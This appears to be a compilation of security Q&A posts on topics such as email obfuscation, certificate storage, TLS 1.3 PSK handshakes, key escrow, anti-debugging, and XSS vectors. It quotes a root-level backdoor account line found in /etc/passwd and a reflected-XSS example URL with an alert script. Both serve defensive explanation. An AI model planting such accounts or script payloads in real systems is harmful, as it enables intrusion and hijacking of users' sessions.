CloudFlare will replace it with

&#115;&#64;&#115;&#99;&#104;&#97;&#46;&#98;&#122;

The /cdn-cgi/ - folder, though it still points to the webserver, is only for CloudFlare which will automatically filter everything you submit, deobfuscating and returning the correct email address.

Of course this is not bulletproof (this is simply not possible) as a bot can continue on that URL or search for encoded email - patterns. This is a rare occurence and most of todays simple crawlers wont find your email.

You shouldnt rely on this approach - CF is already quite popular and it is easy to detect and deobfuscate those email addresses. Using your own, unique obfuscating techniques is more likely to be safe against intelligent harvesters as it is too much work adapting the crawler for every single obfuscation technique.


How does Firefox securely store my SSL certificate? I'm currently testing a free personal SSL certificate (S/MIME client / authentication) from https://www.startssl.com, which installed directly into Firefox. Now when I store backup, I have to enter a password. But how is the certificate stored in Firefox itself secured? Shouldn't I have to enter a password at some point?

The "master password" that Firefox allows you to set, when remembering passwords for sites, is also used to protect the private keys for personal certificates (that is, they are encrypted with a key derived from that master password). Firefox may fail to suggest setting such a password when generating a new key if you instructed it not to use one.

Note that some other browsers let the operating system handles such things (e.g. under MacOS X, Chrome uses the OS-provided "Keychain" system for private key storage). Firefox, out of tradition, is self-contained in that respect.


How secure is Windows Hello when used with Intel 3D facial recognition? Windows 10 mobile devices, Surface Laptops, and several other 3rd parties integrate an Intel Realsense 3D camera.

Windows Hello extends this 3D camera to support user authentication.

What security parameters are used to describe the relative security of this authentication?  (for example, fingerprint readers use quantity of points to determine the integrity of the scan)
What other relevant information is useful for comparing this biometric authentication

According to Microsoft's website, there are 3 measurements that represent the accuracy of Windows Hello's facial recognition, which are: False Positives; True Positives; and False Negatives. These are explained in the quote below

  Microsoft represents the accuracy of Windows Hello face in three main
  measures, which are: False Positives, True Positives, and False
  Negatives.

  False positives:

  Also called False Acceptance Rate, represents the likelihood a random
  user who obtains access to your device will be recognized as you. This
  number should be as low as possible.

  With windows 10, the results are less than 0.001% or 1/100,000 FAR
  (False Acceptance Rate)

  True Positives:

  The True Positive rate represents the likelihood a user will be
  correctly matched to their profile each time they are registered by
  the camera This number should be high

  The results with windows 10 are greater than 95% with a single
  enrolled user

  False negatives:

  Represents the likelihood a user is not matched to their enrolled
  profile. This number should be low.

  The results with Windows 10 are less than 5% with a single enrolled
  user.


Backdoor account in passwd file Long story short I was making sure a web app didn't create a LFI vuln by attempting to open /etc/passwd with it. My first attempt to prevent LFI was unsuccessful and listed out the file, and I noticed this at the bottom:

backdoor:x:0:0::/root:/bin/bash

What does this mean, and is it malicious? If so how do I remove it.

Well, from your question I assume you know what a line in /etc/passwd is, so your question strikes me as a bit of odd.  Unless, of course, you're going through some kind of test and don't really know your ways around a unix system and try to pass easily by cheating with us.

However:

That's a line in /etc/passwd that defines a user called backdoor, which prefers the bash shell.

The bad news is (aside from the fact that someone utterly stupid or an author of some kind of admin test used the name backdoor for this user) that this account uses  user ID 0 and Group ID 0, and home /root, and all three of those should be absolutely exclusive to root, the super user.

Your system has been compromised.

You'll need to remove the system from the network, do a postmortem analysis, and set it back up from scratch, hopefully closing the vulnerability you found in your postmortem analysis that allowed them do this in the first place. (Leaving the system up and trying to "clean it up" is a losing game because who know what other rootkits or backdoors they have planted).


What kind of encryption is this file using? It used to be plain text I was collecting data and building a database from a mobile game on Android. Here's an after/before image.

If I do CTRL + A and copy paste on the left side, all information gets copied to clipboard is this: DB‘AÛÀÜtÿ$Lº‡VI¦

However I can select different parts of the text and copy them over successfully.

äßHÿ6|WU`ÎrÓYD¡àa=º±
Bý'ShÔ˜1:ðÚ‚OZý\¯}ßbÇhÀÜy’Fkž×z,G/”õã)Ÿ@NïìVo}}hðh[2E‰åÏ|+Þ)Å”N÷MÐXñüWåqî—‘ÿŽWŽ¬„«=±rô^ø°ûÜúÍ^ÔÏì¡HB¿³“nºá¢m +¹<ƒK–g[&¼·2³ùSüÞ[5à›ú0FQ±Ä‡ƒƒ¨Þ¸ã75Š|¸‘Ê~“e5ò-ôfú¹KrèÅ¹ßf«ýH/9eøcÏ6(à3¹‚¿9Ã¨(“°† ²0—™â›@ÌƒrÍ²¡›e©¹H ÀäUz=‚™}@Ž¡Ò€3›PfmfôÄ›#ào¡vA“]ãâBiÖaµB)&¶ÖWÃ¬Žèl;r=ÜÁ¸uXvª¤üçÊrfjÆ‡J Äƒˆ¶ØV¸ÑF”ß¬…„<àÌ<%~sðFõ

My question is, what kind of encryption is this and is there any way to reverse it so that I can get the old version (on the right) again?

Thank you!

Edit 1:

File link from Electronic Arts servers if anyone wants to try: http://eaassets-a.akamaihd.net/fifa/u/f/fm18/prod2/d/mGBE3BGcbd

Edit 2:

File on the left is around 3.6 MB meanwhile file on the right is 2.06 MB.

Edit 3:

"enable_hexadecimal_encoding": true, caused this instead of one on the left:

Well, it may be encoded in binary instead of text. In that case, the data would still be there. But if the files are roughly the same size, than that most likely won't be the case.

If it is indeed encrypted and they used something standard such as AES-128, than there is no way to reverse it just using the file. Your only hope would be to extract the key from the app, which is very hard to do on mobile platforms simply because the proper tools don't really exist.

It is hard, if not completely impossible to determine what encryption is used just from the data and without the key.


Minimal TLS1.3 Client-Hello I'm currently reading the Transport Layer Security (TLS) Protocol Version 1.3.

In section 4.2.3 (Signature Algorithms) it says

  Clients which desire the server to authenticate itself via a
  certificate MUST send "signature_algorithms".

Is it possible to establish a TLS1.3-session without any certificates/authentication? If yes, how can I instruct an openssl client (via commandline) to do so?

Is it possible to establish a TLS1.3-session without any certificates/authentication?

It is possible to do the authentication without certificates but it is not possible to do no authentication at all. By using PSK the server authentication is not done with a certificate but with a pre-shared key, i.e. a common secret known between client and server.

  If yes, how can I instruct an openssl client (via commandline) to do so?

With openssl1.1.1 you can start a server the following way:

# use a 48 byte PSK
$ PSK=63ef2024b1de6417f856fab7005d38f6df70b6c5e97c220060e2ea122c4fdd054555827ab229457c366b2dd4817ff38b
$ openssl s_server -psk $PSK -cipher TLS13-AES-256-GCM-SHA384 -nocert -accept 2020

If you then start the client with the same PSK you get a successful TLS 1.3 handshake with no certificates involved:

$ openssl s_client -psk $PSK -connect localhost:2020
CONNECTED(00000003)
---
no peer certificate available
---
No client certificate CA names sent
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 195 bytes and written 475 bytes
Verification: OK
---
Reused, TLSv1.3, Cipher is TLS13-AES-256-GCM-SHA384
...


Purely as a technical matter, is it possible to make otherwise-strong encryption implemetations that contain governmental backdoors? So to be clear right-off-the-bat: I think re-designing modern encryption to include governmental "backdoors" is, on balance, a quite bad idea, for any number of good reasons. Nor (FWIW) do I actually think laws mandating that will actually get enacted, when all is said and done (in the U.S., anyways). But my question is not the policy or political aspects of the encryption debate; it's about a technological aspect to this that is more interesting.

Setting aside whether you should do so, could you adapt current major encryption standards & implementations to allow one authorized third-party (for e.g., the U.S. government) to monitor encrypted communications between Party A and Party B and decrypt those conversations without necessarily making it significantly easier for another, unauthorized third-party to do so as well?

In the past weeks I've read too many statements to count basically answering: "No. No chance." But it's usually been unclear about whether by that answer it is meant that (a) such modifications cannot be made without fundamentally weakening common encryption, or (b) that technical feat might be doable, but the "authorized" government would just inevitably lose control of whatever secrets they possessed and allow the Bad Guys free reign against personal & org info.

I do still remember the 1990's debacle where the NSA tried to sort-of start to do this in the Fortezza/"clipper chip" initiative via a key escrow system; it went exactly nowhere outside of government use. And to my understanding key escrow wouldn't really be scalable enough for usage today anyway. And certainly it's easy to create "backdoored" encryption ... if you're not worried about weakening that encryption vs. every attacker. But if those are not viable are there any alternative technical approaches (looking at things from a 30,000ft level of technical detail) that might be used to create encryption systems/implementations as robust as current ones against "unauthorized" third-party decryption.  Or is that really--to our current knowledge--impossible?

Sure.  Key escrow works, and it's well understood.

RSA offered a version of it with their "enterprise" version of PGP 6.0 about 20 years ago.  PGP uses hybrid encryption, where the message is encrypted with a symmetric cipher, and the symmetric cypher's key is then encrypted with a public key of the recipient.  Their key block supports encrypting the symmetric key with multiple public keys, allowing for multiple recipients who don't share a private key.

In that product, key escrow was implemented with the introduction of an extra public-key-encrypted symmetric key, where the private key was held by the owner of the PGP system.  It was ostensibly created for corporations who might need to decrypt a message if the legitimate employee was incapacitated or terminated.  (The earlier version suffered from a terrible vulnerability in that the key block was not protected by a MAC, and a malicious third party could silently add their own escrow key.)

Presuming you could impose key escrow upon a standards body, it would be possible to create a secure protocol that could be decrypted both by the legitimate site and by the holder of the private key.  Use of key escrow could be enforced by backbone located network security appliances, which could deny communications unless they saw a digital signature on the key exchange packet indicating that key escrow keys were in place.  Products like snort already function like this today; they would just need the signature information of the legitimate protocol, and could then send an RST packet to any SSL or TLS key exchange that doesn't comply.

The devil would be in the details, though.  Nothing would stop double encipherment, because the network security appliances couldn't be entrusted with the keys needed to decrypt the packets to deeply inspect them.  Nothing can prevent pre-arranged out-of-band signalling, like "a picture of a teakettle on the left side of the table means 'attack at dawn'."  Bespoke key exchanges that are not detectable as TLS would come and go at the speed of light. Darknet VPNs would pop up routing messages around the federal firewalls.  Steganographic communications mechanisms would embed illicit messages in streams of cat videos and ICMP ping requests.  Key management and distribution would be a nightmare.  And imagine what would happen to the security of the nation if Edward Snowden Jr. decided to publish the NSA's master key, or Robert Hansen Jr. turned over the FBI's copy to the Russians?

Such measures might make it harder for ordinary people to use non-default encryption, and might expose their iMessages to the NSA on a regular basis, but they would barely slow down criminal or terror organizations.  And they'd be challenged in court immediately:  forcing users to add key escrow would be tantamount to the government compelling speech, which is constitutionally prohibited in the USA.


Wouldn't transient cookies for session management increase effectiveness of MITM? According to wikipedia, a transient cookie (aka session-cookie, in-memory cookie) is forgotten when the user closes the browser. These are also recommended for session cookies by OWASP.

I've seen a lot of sites that recommends that you close your browser window to log out (thus deleting this cookie), but that wouldn't unset the logged-in state on the server side. If the users doesn't explicitly click the log out button (they just closes the browser window instead), a man in the middle could catch and re-use that session even after the original user closed the browser window (and thought they logged out).

Wouldn't that also mean that using transient cookies for session management potentially could teach your users that they don't need to explicitly log out - and thus increase the potential effectiveness of a MITM? If the user re-opened the browser and found that they're still logged in, it would teach them that only an explicit logout action will log them out.

So, should i avoid using transient cookies for session management for this reason?

Transient cookies are only secure if treated the same way as log in credentials.  Used properly, they should only be exchanged over an HTTPS connection and the cookie should be marked to only be available to an HTTPS connection.  This protects the cookie from a MITM attack.

The cookie is effectively a short term copy of the username and password, so you have to give it the same kind of protection or it becomes insecure.

If the connection is not protected with HTTPS, then it doesn't matter if the MITM grabs the cookie or simply intercepts the request to log out.  If the attacker controls what you can and can't say to the server, you are out of luck.  It might me a slight bit for a passive attacker that can't alter traffic, but the session should also be locked to the IP, so only an active MITM attacker should be able to make use of the cookie and they could also prevent logout.


Can malware bridge external storage HW power-off switches? Right now I have a backup setup which involves a 3.5" external USB-HDD with a seperate power-supply (as is usual for such drives). This HDD is internally a standard SATA HDD with USB+Power wrappers.
This HDD is always connected via a data connection to my PC from which I do the backups, however the power is turned off at the drive using a mechanical switch. The power cord is supplied with power and is plugged in (so the drive is only a single switch flip away from operation).

Can malware disable the functionality of a typical implementation of such a hardware power switch while the HDD is connected to the PC?

Formulated differently: Can malware effectively make the HDD "always powered" even though I flipped the mechanical switch to "off"?

No. The power switch is almost always a mechanical device which cuts off the incoming power from the logic board. When it is off the connection is physically broken - a complete airgap. Malware cannot subvert this.

The only case that malware might be able to bypass a "power off" state is when the state is soft, e.g. standby. The device would have to leave its processor (either microprocessor or microcontroller) running, potentially in a low-power sleep state, with the USB interface live. Depending on the implementation, malware could potentially trigger a wake event through the USB, though it'd be device-specific and highly targeted / unusual.


How to determine if a PC's hardware and firmware have been modified? My company own some PCs and laptops. The firmware and hardware may have been modified. It is a waste to dispose of that many PCs and laptops.

Are there any scans or anything I could do to determine what PCs or laptops have been compromised?
If there is nothing I could do to determine that, are there parts that could be reused because they cannot be modified?

The adversary is a hacker who works for a mid sized company. It is not a three letter agency or the government.

Could re-flash the firmware, that should overwrite whatever's there.

I'm not sure what you're looking for in the "modified hardware" department, any extra devices added should be visible from looking, unless you think a chip or device has been de-soldered and replaced with an identical looking "bad" one... practically anything with accessible hardware is vulnerable to that.

There are virus & malware scanners that might detect known samples (like rootkits), but maybe not custom (zero-day) samples


If my Android phone has a virus, can I change its SIM into a new phone to get a clean start, or can the SIM carry over the virus? I am considering switching my SIM card into a spare Android phone I have, in light of two issues:

1) My issue here: Suspicious text received from my # but I did not send it - is there definitely a virus involved, and if so who has it, the sender or receiver?

2) The Android phone I've been using is very old and has problems charging (I think due to battery and a faulty charge port). I haven't replaced this yet. Today, the phone outright won't turn on (maybe due to a virus, but I think more likely it's due to not charging well over night and becoming completely depleted of battery, which has happened before). Worse yet, it isn't taking a charge at all as far as I can tell, even with usually reliable chargers.

My solution to issue #2 is to swap my SIM into a spare Android phone I have, at least until I fix the power supply on the first phone. However, in light of issue #1, is it a bad idea to start moving my SIM into other phones and potentially spreading whatever malicious thing may have texted my friend from my phone? I have more digging to do on issue #1 (checking with other common contacts, reaching out to my carrier somehow) but wonder if there's any useful info on the immediate question: is it safe to switch a SIM card from a potentially infected phone into a fresh spare phone?

Notes:

The spare phone belonged to a family member long ago and is effectively mine now. I can factory reset it before putting my SIM in.

I've looked for info on this (Can virus save to SIM Card? and Can a SIM card propagate malware?) but am finding mixed/uncertain messages about whether my SIM card could propagate a virus. I'm not interested in theory here, but in practice. I realize we can't be certain anyway, since I'm not even sure if my phone has a virus! (See #1 above)

There are a couple of possible issues here -

It is technically possible the virus is able to exploit a vulnerability in how android handles the SIM. If this is the case it could be transmitted via the SIM card storage.
There is a risk of reinfection. It sounds like you haven't identified the infection vector yet - how do you know you won't retrigger it? It also sounds like the replacement phone is old and likely out of manufacturer support.
It also could be a rogue app which may get reinstalled automatically via your google account.

Personally I'd view the risk as low. SIM based transmission would require more effort than its worth for a non-state actor. Reinfection is a risk. I would fully wipe then update the replacement phone before inputting google credentials / installing apps. If possible disable automatic app installation and manually review each one.

Alternatively as suggested in the comments have your provider issue a new SIM and transfer the number over. Again take steps to protect the new phone from non-SIM related reinfection.


Is it harmful to redirect web bugs to localhost on hosts file? I was checking the article hosts file on Wikipedia, and I found this:

  Blocking access to servers of unwanted content by redirecting them to the local host (127.0.0.1) may have security implications. As 127.0.0.1 is accessible only by the host itself, connections might be trusted. The link to be followed may be crafted to launch an attack on the local host.

Although it does not cite any reference, I wonder if this is true.

I thought about using hosts file to block some web bugs and trackers. Is this safe or not?

My guess it that the Wikipedia author is referring to IE Security Zones, where the DNS name or IP address grants additional functionality to things like

ActiveX controls
Javascript
Execution of non-signed data
Access to internal (read corporate file server) data.

More info here


Debug every process to reduce the risk of successful malware attack? I've seen that quite a bit of malware (particularly ransomware) checks for a debugger and bails if one is found.

Would it (a) be practical and (b) reduce the risk of a successful malware attack if one either:

attaches a dummy debugger to every userspace process at creation?
has a hook which tells a user's processes that a debugger is attached, if asked?  e.g. LD_PRELOAD on Linux, and I believe from WGA cracks that Windows has some API for this too.

I'm assuming that particularly on Windows it may be necessary to have a whitelist of programs not to debug (e.g. commercial software which also bails if being debugged).

Would it (a) be practical and (b) reduce the risk of a successful malware attack if one either:

  attaches a dummy debugger to every userspace process at creation?
  has a hook which tells a user's processes that a debugger is attached, if asked? e.g. LD_PRELOAD on Linux, and I believe from WGA cracks that Windows has some API for this too.

From a Linux perspective

LD_PRELOAD can only be used with dynamically linked binaries. It is not uncommon for ELF binaries developed for criminal purposes to be statically linked; examples include

Linux/Moose
Linux/Shashinga
Linux/Elknot

and so on.

As for attaching a dummy debugger to every userspace process at creation, consider the following:

taking advantage of the fact that a process cannot call ptrace(PTRACE_TRACEME,...) more than once is only one of several anti-debugging techniques. If use of any single anti-debugging technique results in high detection/failure rate, malware creators will adapt and the technique simply will no longer be used. Some well known executables do not even bother with anti-debugging tricks at all: Mirai and its ilk are a prominent example of this.
userspace process creation is managed by the kernel (and if the program is dynamically linked, the dynamic linker as well). This means that if one wishes to make changes to how a program is mapped into virtual memory, one must make changes to the kernel. Does it make sense to fundamentally alter the way the kernel loads programs into memory across all architectures in order to do something like attaching a dummy debugger to each userspace process on creation, only to watch malware authors simply stop calling ptrace(PTRACE_TRACEME,...) in their binaries as a result?
attaching a dummy debugger would revolve around use of the ptrace system call. Use of ptrace has far-reaching implications for process behavior and could even render the system unusable, due to the fact that a traced program's execution pauses upon receiving a signal:

  While being traced, the tracee will stop each time a signal is
     delivered, even if the signal is being ignored.  (An exception is
     SIGKILL, which has its usual effect.)  The tracer will be notified at
     its next call to waitpid(2) (or one of the related "wait" system
     calls); that call will return a status value containing information
     that indicates the cause of the stop in the tracee.  While the tracee
     is stopped, the tracer can use various ptrace requests to inspect and
     modify the tracee.  The tracer then causes the tracee to continue,
     optionally ignoring the delivered signal (or even delivering a
     different signal instead).

So no, neither of these proposals are practical or improve security.


How to protect a server against Cloud Hopper? Almost everyone is using cloud service providers for their computing needs these days, including myself. I am getting increasingly paranoid about a Cloud Hopper threat recently described in this Reuters article. To summarize:

Hackers gain access to the cloud service provider.
They use the cloud's admin privileges to access the clients' servers (including mine) and steal whatever information they want there
When cloud service provider discovers the breach, they keep it super secret from everyone, especially their clients, otherwise their company goes down in a very competitive cloud service market.
This goes on for months or years until the client discovers that the product it makes is now offered for a fraction of a price by a state-controlled Best New Company Co. Ltd. Inc. from a country that sponsors cyber theft.

So how can I, the client of a cloud service provider, protect my business from this threat? Solutions that come to mind:

Don't use cloud services at all. But that is expensive
Do not store unencrypted sensitive documents in the cloud. But the production code and the database are the sensitive documents too.
?

The way to protect yourself from a compromised cloud service is to not store sensitive data in the cloud. "The cloud" is, as it is often repeated, essentially just a bunch of computers somewhere else.

Cloud solutions are a good idea if your demand fluctuates wildly, and providing enough performance to keep up with the peak is just overkill for you. Good examples for this would be computationally-intensive tasks, which need to be done rarely.

The problem with basing your entire business (or parts of your business) permanently in "the cloud" is that you effectively store some parts of potentially sensitive data "somewhere else" and thus depend on the security of someone else.

The general rule of thumb for cloud services should be: If you cannot afford to disclose some information to the public, don't put it in the cloud.

It should also be noted that not informing customers of a security breach, especially one that may include their personal information or may further compromise their own security, is illegal in some jurisdictions. I'm not a lawyer, but the EU doesn't joke around when it comes to disclosure of security breaches. Should anyone notice that a cloud service provider got breached, that the cloud service provider knew and that they chose not to inform customers - then they are in a very bad spot. Probably much worse off than had they informed customers right away.


Unknown Requests on URL Web Filter Proxy While trying to work on incident investigation, I am seeing continuous https requests from website

cdn.syndication.twimg.com:443/widgets/timelines/paged/
callback=__twttr.callbacks.tl
domain=www.kali.org

These requests are continuous and are tagged as something (file with PDF/Xls or similar extension) is getting uploaded from the host PC. The user computer is a Developer[DVPC] and I don't want to intefere if he is using this appliaction as legit, however with continuous https requests every 10 minutes and that too from kali.org[while we are windows based environment], it bothers me what the user is trying to achieve here. Can someone assist me with this?

I understand my question is a bit unclear, however I am trying to understand if it should be termed as legit or this website be blocked on the proxy?

Looks like someone has the kali.org blog page open, which has an embedded Twitter widget on. This will make requests approximately every 30 seconds, checking for new tweets from the @kalilinux Twitter account.

The following screenshot from Burp, whilst the page https://www.kali.org/news/kali-linux-20171-release/ is open shows this - the final column is the time of the requests, and can be seen to occur every 30 seconds. Depending on the browser being used, the frequency might be adjusted based on whether the tab is visible or not.

The responses have a content-disposition header, so could be triggering a SIEM which looks for unexpected downloads - the content type should be application/json though.


Will Google block HMAC-SHA1 along with SHA1 signed certificates? So, right now, there is a push for moving from SHA1 signed certificates to SHA256 signed certificates by Google. My understanding is that you cannot use SHA1 for signing certificates but HMAC-SHA1 can still be used in your cipher suite as a MAC. Is this correct? Or will certificates using HMAC-SHA1 also be rejected by Google and others?

Due to the mathematics of how HMACs work, a weakness in the hash algorithm doesn't automatically mean that a HMAC based on it is also weak. This might seem counter-intuitive, but comes down to the fact that the known weakness in SHA1 relates to collisions, and can't be applied to a HMAC due to the construction method. In fact, even HMAC-MD5 is still fairly secure, even though MD5 is considered completely broken.

All this means that Google haven't made any indications of wanting to retire HMAC-SHA1 at the moment. They may want to in the future, especially if different forms of attack against SHA1 are found, but currently the only known way to break a HMAC-SHA1 is to brute force the key, which should, given a sensible key selection process, be really hard.


Is there a vulnerability other than XSS which can result in client side script execution? If the intention of attacker is to execute an arbitrary client side script in the context of a web application, is XSS the only possible attack other than compromising the server with an RCE or a sub-resource supply chain attack?

XSS is Cross Site Scripting - Be it reflected, persistent or DOM based.
A sub-resource supply chain attack is where you compromise a sub resource such as CSS, javascript, flash objects etc by compromising the supply chain ie; compromising the CDNs, S3 buckets etc or by MITM a subresource loaded over non-https channel.

Note that this answer applies to the initial version of the question which was less strict and clear about what the OP would actually like to know.

To execute malicious script on the client side in the context of the web application the script

might be injected cross site by the attacker for example inside the URL (reflected XSS)
might be served by the original webserver because the server was compromised or had a stored XSS vulnerability
might be done by loading or moving the client side of the application into some unexpected context (DOM XSS)
might be injected on the client side using a browser extension, which can be controlled by the attacker either because the extension is malicious or has bugs
might be injected by misusing script includes for third-party, for example when including ads or tracking (malvertising)
might be provided by the attacker using a MITM attack (thanks to Anders for this idea)

And of course there might be bugs in the browser which makes this possible (universal XSS).


Model for multi-tenant data encryption where the application owners or cloud providers cannot see decrypted data Consider an application in which users will install on-premise agents which communicate with a cloud hosted service (aws in this case). The users can interact with the cloud service to configure and assign work to the on-premise agents.
The cloud service will be multi-tenant, and will store some sensitive customer data in the cloud. This data will be passed to the customer on-premise agents which will need to decrypt and use the data. The problem is how to ensure that sensitive data that we are storing cannot be read by us, the cloud provider or any other customer.
Our current thinking is that the customer will generate a public/private key pair, upload the public key to the cloud service, but keep the private key local so it will never enter our cloud infrastructure. So the public key can be used by the cloud service to encrypt data (or to encrypt a symmetric key which encrypts the data), but without the private key it cannot be decrypted.
The agents would obviously need access to the private key to decrypt the data, but it would not be possible for anyone to unencrypt the data in the cloud as the private key is stored with the customer
Does this sound like a reasonable approach?
These seems like a problem that should already have a solution, is there a library or cloud service that would help with this?
I've looked at AWS KMS but it doesn't seem to support a scenario that would prevent us from gaining access to the customer's data as we could assign ourselves a role that has access to their customer master key
EDIT: I'm still trying to get an understanding of this apologies if I'm not clear or fully understanding your answer.
To clarify, a user will be entering sensitive data such as passwords into a web application which will be cloud hosted. Client side encryption is an option, the cloud service doesn't ever need to see the data unencrypted.
Could we store the public key for each customer in the cloud, and have the browser make a request to retrieve that key (based on info from their auth token) when the user is required to enter sensitive data. Then encrypt on the browser before passing to the cloud service.
Again, the cloud service will only need to store this data and will never need to see it in it's decrypted form.
It will be required to pass the encrypted info to agents running outside of the cloud infrastructure which will need to use the decrypted data. So when setting up an agent we'd somehow need to register the private key with each agent so they can decrypt the data.

From what I can gather, in your process data are placed in the care of the cloud-hosted service in unencrypted form (ie. they may arrive by TLS socket, but are then delivered to the hosted service without encryption). The point being, clear-text data are exposed in the hosting service at some point in time, so you can never guarantee to your customers that you can't decrypt the data, because you've had the plaintext at some point, however brief.
If this is not the case, then you're using end-to-end encryption, and focussing your attention in the wrong place. Instead, you need to think about how your customer can upload encrypted work-data that can only be brokered to the on-premise agent by the cloud service, but not decrypted.
In your proposed model, there is potentially nothing to stop me, an independent 3rd party, from generating agent-data that could be interpreted as coming from a valid source (assuming I can get a hold of the agent's public-key) .. this is why authenticated exchange protocols exist, where both parties share their public keys(s), so that the sender can be satisfied that only the recipient can decrypt the symmetric data key, and the recipient can be satisfied that the data came from the sender.
As you've hinted at in your question, most data sharing in public-key cryptography are hybrid schemes, whereby asymmetric encryption is used to secure a randomly selected symmetric key. The symmetric key is used to encrypt the data. Some relevant information would available on crypto.SE., eg. kelalaka 2020 https://crypto.stackexchange.com/a/81704/77149.
One such example is from Libsodium's crypto_box construct. (However, any governance or standards you need to comply with might restrict the cryptographic primitives you're allowed to use, which may in turn preclude the use of this library.)
To achieve this, both parties exchange their public keys 'somehow', and then use the combination of their own secret key and the counter-party's public key to derive a shared secret.
If you're doing the encryption on the cloud-service (and not on the client's work computer), you now have the client's secret key sitting exposed in the context of the cloud service... which is why AWS KMS et al. exist. These services ensure that the secret keys are better protected from other processes in the host's context. If you did use KMS to secure the data encryption key, you would have to hit KMS every time you wanted to decrypt something. Instead, you might use KMS to secure a longer-term key, and then use this longer-term key to secure keys for adhoc data operations. I discuss this in a separate answer.


What's the hash for in ECDHE-RSA-AES-GCM-SHA? Presumably the SHA is for deriving the AES key from the shared secret. Where else is the hash used?

ECDH just does ECC (no hashing). RSA does masking and padding but this doesn't involve the negotiated hash, does it?

For AES-GCM we don't need to stir the IV or anything between messages, we can just increment, so as far as I can tell key derivation is the only place to use it.

I have TLS and SSH in mind. (I realise the details of the protocols are a bit different. It's just confusing reading the RFCs, where a hash is negotiated directly or with a cipher suite, but it's not obvious what it's used for.)

For SSL, there is SSL 3.0, TLS 1.0, TLS 1.1 and TLS 1.2.

In SSL 3.0, an internal Pseudorandom Function (PRF) is used to extend the shared secret (obtained from the key exchange mechanism) into symmetric keys for the subsequent symmetric encryption. This PRF always uses both MD5 and SHA-1.

In TLS 1.0 and TLS 1.1, the PRF is replaced by a new construction, which still uses both MD5 and SHA-1, in an arguably "better" way (cryptographically speaking).

MD5 and SHA-1 are also used in SSL 3.0, TLS 1.0 and TLS 1.1 to compute the signatures in the handshake (a signature from the client when using certificate-based client authentication, a signature from the server when using a DHE cipher suite); that which is signed will be hashed with either SHA-1 (for DSA/ECDSA) or with both MD5 and SHA-1 (for RSA).

Also, exchanged handshake messages are hashed, again with both MD5 and SHA-1, to compute the Finished messages which conclude the handshake; in the case of SSL 3.0, the two hashes are used "as is", while with TLS 1.0 and 1.1, an extra PRF invocation is involved.

Beyond the handshake, the application data will be encrypted with some symmetric algorithm with an integrity check and that integrity check will normally use HMAC (in the case of SSL 3.0, a HMAC-derivative) which will be based on a hash function specified in the negotiated cipher suite. Cipher suites which end with "MD5" use MD5 at that point, while cipher suites which end with "SHA" use SHA-1.

With TLS 1.2, things change. The PRF and is still there, but uses only one hash function, and that hash function is the one negotiated in the cipher suite. The same hash function will be used to hash the handshake messages for the Finished message (by the way, that's cumbersome for embedded RAM-starved implementations, because implementations must then either buffer the ClientHello and the start of the ServerHello, or start a bunch of hash functions, because the hash function which will be used is not known until the ServerHello is parsed). When the cipher suite ends with "MD5", the hash function is MD5. When it ends with "SHA", that's SHA-1. When it ends with "SHA256", that's SHA-256.

When GCM is used, there is no per-record HMAC; integrity is obtained from the GCM mode itself. So the hash function specified in the cipher suite is used only for the PRF and other handshake-related usages.

Now the tricky point: there is no standard GCM cipher suite for TLS before TLS 1.2. GCM cipher suites for TLS begin with RFC 5288; others are defined in RFC 5289 and some subsequent RFC. All currently defined cipher suites are published in the IANA registry. All the GCM cipher suites are for TLS 1.2+ only, and, moreover, they all use either SHA-256 and SHA-384, not SHA-1. Correspondingly, as of July 2013, there is no standard way to use both SHA-1 and GCM in TLS. If you want GCM (with AES or some other algorithm), you will need TLS 1.2, and the hash function (for handshake purposes) will be SHA-256 or SHA-384. Presumably, cipher suites with SHA-512 may be defined as well, but this has not occurred yet.

Of course, every rule has exceptions. Public keys, in SSL, are exchanged through X.509 certificates, which are complex objects using a lot of cryptography, and you will often find some SHA-1 or even MD5 lurking there. But that's mostly out of scope for TLS, and, in particular, is not impacted by the negotiated cipher suite. Theoretically, client and server may/should negotiate supported hash functions for that, but in practice the server will send the certificate it has obtained from its CA, and has little choice in the matter.

For SSH, the algorithms are negotiated independently of each other; there is no real notion of an all-encompassing cipher suite. See RFC 4253, section 7.1. RFC 5647 defines use of AES/GCM with SSH, but does not care about the hash function which will be used internally; of course, there will be no hash-based MAC for bulk data encryption if GCM is used (that's the point of GCM: it comes with its own MAC), but a hash function is still used internally for, at least, key derivation (similarly to what is called the "PRF" in SSL).

RFC 6239 is more thorough in that it tries to define sets of algorithms for SSH, following the so-called NSA Suite B. This means elliptic-curve Diffie-Hellman ("ECDHE" in SSL terminology: with SSH, the key exchange always uses "ephemeral keys"), AES/GCM... and SHA-256 or SHA-384, not SHA-1. Also, when strictly following RFC 6239, the SSH server public key (the permanent one, used for signatures) should use ECDSA, not RSA.

So you can, at least theoretically, used SSH with ECDHE, RSA signatures, AES/GCM and SHA-1, but when you use GCM you are encouraged to also switch to SHA-256 or SHA-384. What SSH implementations actually do is prone to depend on the exact software version, compilation options and local configuration, and needs testing.


JS code giving xss vulnerability Below is a piece of JS code:

if(!(window.location.href.indexOf('?')> -1)){
  id= window.location.href.slice(window.location.href.lastIndexOf('/') + 1);
 }
 location.hash='var/' + id;

When I tested this code in fortify, I got XSS vulnerability issue - "The method sends unvalidated data to a web browser*".

Could someone please help how to resolve the issue?

There is no XSS in the pasted code. This is only setting the hash of the URL

e.g. https://example.com/foo/1#var/1

using the location object. XSS can only occur when something in an HTML document is set without proper encoding.

Note that this answer is based on the posted code only, and no assumptions are made about where the hash is later used. If the use of the hash gives rise to a vulnerability, the vulnerability lies here than rather with the posted code.

The reason for this is that the application is then processing user input as though it is trusted. If the above code could create a dangerous hash, then an attacker could also create the dangerous hash without using the posted code in exactly the same way as a reflected XSS attack works. e.g. the attacker gets the user to visit a specially crafted URL like

https://example.com/foo/1#<script>alert('xss')</script>

to trigger the attack. It is upto the hash processing code to deal with this, not the code that generates the hash.


How to restrict file access on a local Windows Server? I just started a new software development company, We are using Windows Server, with Wamp installed on the machine. The machine is connected to a router and we have 10 employees. But only 5 of them are developers, the developers who have access to the machine are all on a network.

Our approach:

Every project is in a folder on the server for instance the Wamp Server, we create a folder for the project on the root directory of the server and thus the folder will be shared to everyone on the network so that the developers can work.

Problems:

I want to be able to protect the folders on the server so that only the staff working on the particular project can have access to the folder.
I want to be able to protect the folders so that the staff working on the folder cannot copy files from the server.

What would the best practices in this case be?

I just started a new software development company...we have 10 employees.

This implies you have a significant investment of capital. Yet, reading between the lines, there is a huge amount of risk and in efficiency in your setup.

